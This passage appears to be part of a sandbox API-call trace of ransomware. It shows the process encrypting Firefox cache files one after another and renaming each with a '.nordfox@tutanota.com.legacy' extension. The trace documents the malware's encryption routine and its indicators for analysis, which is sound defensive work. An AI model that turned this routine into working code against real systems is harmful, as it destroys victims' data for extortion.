hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e33a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e33a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.680] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e33a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e33a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.680] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.680] CloseHandle (hObject=0x1b80) returned 1 [0185.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e33a8 | out: hHeap=0x520000) returned 1 [0185.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.680] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A88FE7DF2F4DF75099CE8732F8FFE199B8926CAA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a88fe7df2f4df75099ce8732f8ffe199b8926caa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A88FE7DF2F4DF75099CE8732F8FFE199B8926CAA.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a88fe7df2f4df75099ce8732f8ffe199b8926caa.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e32a0 | out: hHeap=0x520000) returned 1 [0185.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3198 | out: hHeap=0x520000) returned 1 [0185.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3198 [0185.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e32a0 [0185.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0185.682] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e32a0 | out: pbBuffer=0x30e32a0) returned 1 [0185.682] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0185.682] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A7BF4A4AFAC2FAA5D43E00B8B6F97C8428E85E85", dwFileAttributes=0x80) returned 1 [0185.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e33a8 [0185.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e33a8 | out: hHeap=0x520000) returned 1 [0185.683] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A7BF4A4AFAC2FAA5D43E00B8B6F97C8428E85E85" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a7bf4a4afac2faa5d43e00b8b6f97c8428e85e85"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.683] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1322) returned 1 [0185.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x619c48 [0185.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x30f3888 [0185.683] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0185.696] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.696] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0185.696] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619c48 | out: hHeap=0x520000) returned 1 [0185.696] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3888 | out: hHeap=0x520000) returned 1 [0185.696] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0185.696] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.696] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e32a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e32a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.696] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e32a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e32a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.697] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.697] CloseHandle (hObject=0x1b80) returned 1 [0185.697] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e32a0 | out: hHeap=0x520000) returned 1 [0185.697] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0185.697] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A7BF4A4AFAC2FAA5D43E00B8B6F97C8428E85E85" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a7bf4a4afac2faa5d43e00b8b6f97c8428e85e85"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A7BF4A4AFAC2FAA5D43E00B8B6F97C8428E85E85.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a7bf4a4afac2faa5d43e00b8b6f97c8428e85e85.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3198 | out: hHeap=0x520000) returned 1 [0185.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5088 | out: hHeap=0x520000) returned 1 [0185.703] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e39d8 [0185.703] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5088 [0185.703] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.703] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5088 | out: pbBuffer=0x30e5088) returned 1 [0185.703] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.703] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A66AB26A6D4AABE1F79FA29D48C1D4FF1D0131CD", dwFileAttributes=0x80) returned 1 [0185.703] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3198 [0185.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3198 | out: hHeap=0x520000) returned 1 [0185.704] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A66AB26A6D4AABE1F79FA29D48C1D4FF1D0131CD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a66ab26a6d4aabe1f79fa29d48c1d4ff1d0131cd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.704] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=23885) returned 1 [0185.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5d4d) returned 0x30e7068 [0185.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5d4d) returned 0x2eeb018 [0185.704] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x5d4d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x5d4d, lpOverlapped=0x0) returned 1 [0185.706] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-23885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.706] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x5d4d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5d4d, lpOverlapped=0x0) returned 1 [0185.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7068 | out: hHeap=0x520000) returned 1 [0185.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.706] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5d4d [0185.706] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.707] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.707] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.707] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.707] CloseHandle (hObject=0x1b80) returned 1 [0185.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5088 | out: hHeap=0x520000) returned 1 [0185.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.708] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A66AB26A6D4AABE1F79FA29D48C1D4FF1D0131CD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a66ab26a6d4aabe1f79fa29d48c1d4ff1d0131cd"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A66AB26A6D4AABE1F79FA29D48C1D4FF1D0131CD.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a66ab26a6d4aabe1f79fa29d48c1d4ff1d0131cd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e39d8 | out: hHeap=0x520000) returned 1 [0185.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4d70 | out: hHeap=0x520000) returned 1 [0185.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5088 [0185.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4d70 [0185.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4d70 | out: pbBuffer=0x30e4d70) returned 1 [0185.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.710] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A615D0218839BB4F69554EB267C1FE664667EE08", dwFileAttributes=0x80) returned 1 [0185.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e39d8 [0185.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e39d8 | out: hHeap=0x520000) returned 1 [0185.711] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A615D0218839BB4F69554EB267C1FE664667EE08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a615d0218839bb4f69554eb267c1fe664667ee08"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.711] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3955) returned 1 [0185.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf73) returned 0x30f3888 [0185.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf73) returned 0x30f4808 [0185.711] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xf73, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xf73, lpOverlapped=0x0) returned 1 [0185.712] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3955, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.713] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4808*, nNumberOfBytesToWrite=0xf73, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4808*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf73, lpOverlapped=0x0) returned 1 [0185.713] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3888 | out: hHeap=0x520000) returned 1 [0185.713] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f4808 | out: hHeap=0x520000) returned 1 [0185.713] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf73 [0185.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.713] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4d70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4d70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.713] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.713] CloseHandle (hObject=0x1b80) returned 1 [0185.713] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4d70 | out: hHeap=0x520000) returned 1 [0185.713] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.714] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A615D0218839BB4F69554EB267C1FE664667EE08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a615d0218839bb4f69554eb267c1fe664667ee08"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A615D0218839BB4F69554EB267C1FE664667EE08.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a615d0218839bb4f69554eb267c1fe664667ee08.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5088 | out: hHeap=0x520000) returned 1 [0185.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4c68 | out: hHeap=0x520000) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4c68 [0185.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4d70 [0185.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.716] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4d70 | out: pbBuffer=0x30e4d70) returned 1 [0185.716] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.716] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5CE6011CBC78912C62950EF4D2F8EC1217240B0", dwFileAttributes=0x80) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5088 [0185.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5088 | out: hHeap=0x520000) returned 1 [0185.716] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5CE6011CBC78912C62950EF4D2F8EC1217240B0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5ce6011cbc78912c62950ef4d2f8ec1217240b0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.717] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4867) returned 1 [0185.717] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1303) returned 0x30f3888 [0185.717] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1303) returned 0x30f4b98 [0185.717] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1303, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1303, lpOverlapped=0x0) returned 1 [0185.753] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4867, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.753] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4b98*, nNumberOfBytesToWrite=0x1303, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1303, lpOverlapped=0x0) returned 1 [0185.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3888 | out: hHeap=0x520000) returned 1 [0185.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f4b98 | out: hHeap=0x520000) returned 1 [0185.753] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1303 [0185.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.754] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4d70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4d70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.754] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.754] CloseHandle (hObject=0x1b80) returned 1 [0185.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4d70 | out: hHeap=0x520000) returned 1 [0185.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.754] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5CE6011CBC78912C62950EF4D2F8EC1217240B0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5ce6011cbc78912c62950ef4d2f8ec1217240b0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5CE6011CBC78912C62950EF4D2F8EC1217240B0.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5ce6011cbc78912c62950ef4d2f8ec1217240b0.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4c68 | out: hHeap=0x520000) returned 1 [0185.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4b60 | out: hHeap=0x520000) returned 1 [0185.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3198 [0185.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e39d8 [0185.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e39d8 | out: pbBuffer=0x30e39d8) returned 1 [0185.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.757] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5C0CB54BAD412C796D80B551C555C6B675E0A72", dwFileAttributes=0x80) returned 1 [0185.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e33a8 [0185.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e33a8 | out: hHeap=0x520000) returned 1 [0185.757] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5C0CB54BAD412C796D80B551C555C6B675E0A72" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5c0cb54bad412c796d80b551c555c6b675e0a72"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.758] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4349) returned 1 [0185.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fd) returned 0x30f3888 [0185.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fd) returned 0x30f4990 [0185.758] 